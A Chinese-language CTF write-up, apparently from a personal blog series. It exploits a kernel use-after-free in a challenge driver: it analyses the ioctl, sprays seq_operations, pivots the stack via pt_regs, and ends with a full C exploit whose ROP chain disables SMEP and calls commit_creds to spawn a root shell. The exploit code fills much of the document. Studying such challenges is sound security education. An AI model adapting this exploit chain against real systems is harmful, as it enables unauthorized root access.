Linux Kernel Exploitation 生存日记 - 0x02
Kernel UAF
概述
就是UAF。
网鼎杯-玄武组-pwn03
题目分析
初步分析
start.sh
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel bzImage \
-initrd rootfs.cpio \
-append 'root=/dev/ram console=ttyS0 oops=panic panic=1' \
-monitor /dev/null \
-cpu kvm64,+smep \
-monitor /dev/null \
-smp cores=1,threads=1 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-s
可以看到开启kaslr、smep、kpti。
而且内核地址直接白给)
/ $ ls /proc/ -al | grep kallsyms
-r--r--r-- 1 0 0 0 Nov 7 14:11 kallsyms
/ $ cat /proc/kallsyms | grep commit_cred
ffffffffa96ac050 T commit_creds
ffffffffaa37c6c0 r __ksymtab_commit_creds
ffffffffaa39ec60 r __kcrctab_commit_creds
ffffffffaa3b17bb r __kstrtab_commit_creds
/ $
之后init中可以看到路径并提取出easy.ko
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod /usr/easy.ko
chmod 666 /dev/easy
echo "flag{test}" > /flag
chmod 600 /flag
# poweroff -d 120 -f &
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
poweroff -d 0 -f
静态分析
定义了vuln_ioctl
__int64 __fastcall vuln_ioctl(file *filp, unsigned int cmd, unsigned __int64 args)
{
__int64 v3; // rdx
_QWORD *private_data; // rbx
_fentry__();
private_data = filp->private_data;
if ( cmd )
{
if ( cmd == 1 )
kfree(*private_data);
return 0LL;
}
else
{
*private_data = _kmalloc(v3, 0x24000C0LL);
return 0LL;
}
}
选项0是创建一个堆,选项1是free掉这个堆块。 同时注意到这个堆块地址是全局变量,存在UAF。
除此之外vuln_read,vuln_write即对堆块进行读写,不存在堆溢出。
攻击思路
存在任意申请size的堆块的UAF漏洞。之后便可以利用其劫持一些结构体达到RCE并提权。
这里劫持seq_operations结构体,定义:
/include/linux/seq_file.h
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
创建这个结构体只需要open(“/proc/self/stat”)即可。大小为0x20。同时只需要read函数即可触发*start函数。
为了增加劫持成功的概率,这里进行了0x200次open和read进行堆喷。
动态调试
此时我们只能执行一个地址的代码,没有达到ROP的目的。
内核栈大小很小,而且syscall之前会把用户态所有寄存器push到栈上面,即位于栈最高地址处(pt_regs结构体)。
经过计算,我们将rsp+0x190就可以劫持执行流到push的用户态寄存器残留的地址上。
使用下面的代码即可
__asm__(
"mov rax,%0\n"
"mov rbx,%0\n"
"mov rcx,%0\n"
"mov rdx,%0\n"
"mov rdi,%0\n"
"mov rsi,%0\n"
"mov rdx,%0\n"
"mov r8,%0\n"
"mov r9,%0\n"
"mov r10,%0\n"
"mov r11,%0\n"
"mov r12,%0\n"
"mov r13,%0\n"
"mov r14,%0\n"
"mov r15,%0\n"
:
:"r" (pop_rax_pop_rsp_pop3_ret)
:"r12"
);
同时ROPgadget可以搜到add rsp,0x190;pop_2;ret的gadget,相当于add rsp,0x1a0;ret的gadget。
经测试,我们正好ret到存储的用户态rbp前一个size_t的位置,我们设置这个地址为pop rsp;ret即可栈迁移到用户态(因为这里没有开smap)
我们只需要提前在用户态rbp以及之后布置ROP链子即可。
bypass smep即可设置cr4为0x7f0
但是由于存在kpti,此时我们用户态代码无法执行,会触发Segmentation fault.
查找后发现没找到swapgs_restore_regs_and_return_to_usermode函数地址,这里采用另一种方法。
由于这个Segmentation fault.是用户态错误,会陷入到内核态进行处理,但是没有触发kernel panic。我们可以绑定一个信号处理函数为getshell函数,即可执行get shell函数。
代码最前面加上signal(SIGSEGV, getRootShell);即可。
Exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#define POP_RDI_RET 0x048955
#define POP_RAX_RET 0xda64
#define MOV_CR4_RDI_POP_RBP_RET 0x01b9e0
#define MOV_RSP_RAX_DEC_EBX_RET 0x8acb8e
#define ADD_RSP_1a0 0x5d0263
// mov rsp, rax ; pop rax ; jmp 0xffffffff818acb07
#define MOV_RSP_R9_POP4_RET 0x39adc4
#define SWAPGS_POP_RBP_RET 0x065354
#define IRETQ_RET 0x18453f
// 0xffffffff81a00a33 : mov rsp, rax ; pop rax ; jmp 0xffffffff81a00987
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
system("/bin/sh");
exit(0);
}
size_t base;
int main(void)
{
signal(SIGSEGV, getRootShell);
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
base=commit_creds-0xac050;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
printf("\033[32m\033[1m[+] Successful to get the addr of kernel_base:\033[0m%llx\n", base);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
// 0xffffffff811cb8a2: pop rdx; ret;
// 0xffffffff810117c4: or rax, rdi; ret;
size_t pop_rdx=base+0x1cb8a2;
size_t mov_rdi_rax_call_rdx=base+0xfea72b;
size_t rop[0x20], p = 0;
size_t init_cred=base+0xe5a140;
rop[p++] = base+POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = base+MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = base+POP_RDI_RET;
rop[p++] = init_cred;
rop[p++] = commit_creds;
rop[p++] = base+SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = base+IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;
int fd1 = open("/dev/easy", 2);
int fd2 = open("/dev/easy", 2);
ioctl(fd1, 0x0, 0x20);
ioctl(fd1, 0x1, 0x20);
size_t fake_stat[4];
size_t stat_fd[0x200];
for (int i=0;i<0x200;i++){
stat_fd[i]=open("proc/self/stat",0);
}
read(fd2,fake_stat,0x20);
fake_stat[0]=base+ADD_RSP_1a0;
write(fd2,fake_stat,0x20);
size_t pop_rdi=base+POP_RDI_RET;
size_t pop_rax_pop_rsp_pop3_ret=base+0x194570;
size_t cur_rbp;
asm(
"mov %0,rbp"
:"=r"(cur_rbp)
:
:
);
memcpy(cur_rbp,rop,sizeof(rop));
for (int i=0;i<0x200;i++){
__asm__(
"mov rax,%0\n"
"mov rbx,%0\n"
"mov rcx,%0\n"
"mov rdx,%0\n"
"mov rdi,%0\n"
"mov rsi,%0\n"
"mov rdx,%0\n"
"mov r8,%0\n"
"mov r9,%0\n"
"mov r10,%0\n"
"mov r11,%0\n"
"mov r12,%0\n"
"mov r13,%0\n"
"mov r14,%0\n"
"mov r15,%0\n"
:
:"r" (pop_rax_pop_rsp_pop3_ret)
:"r12"
);
read(stat_fd[i],fake_stat,0x20);
}
return 0;
}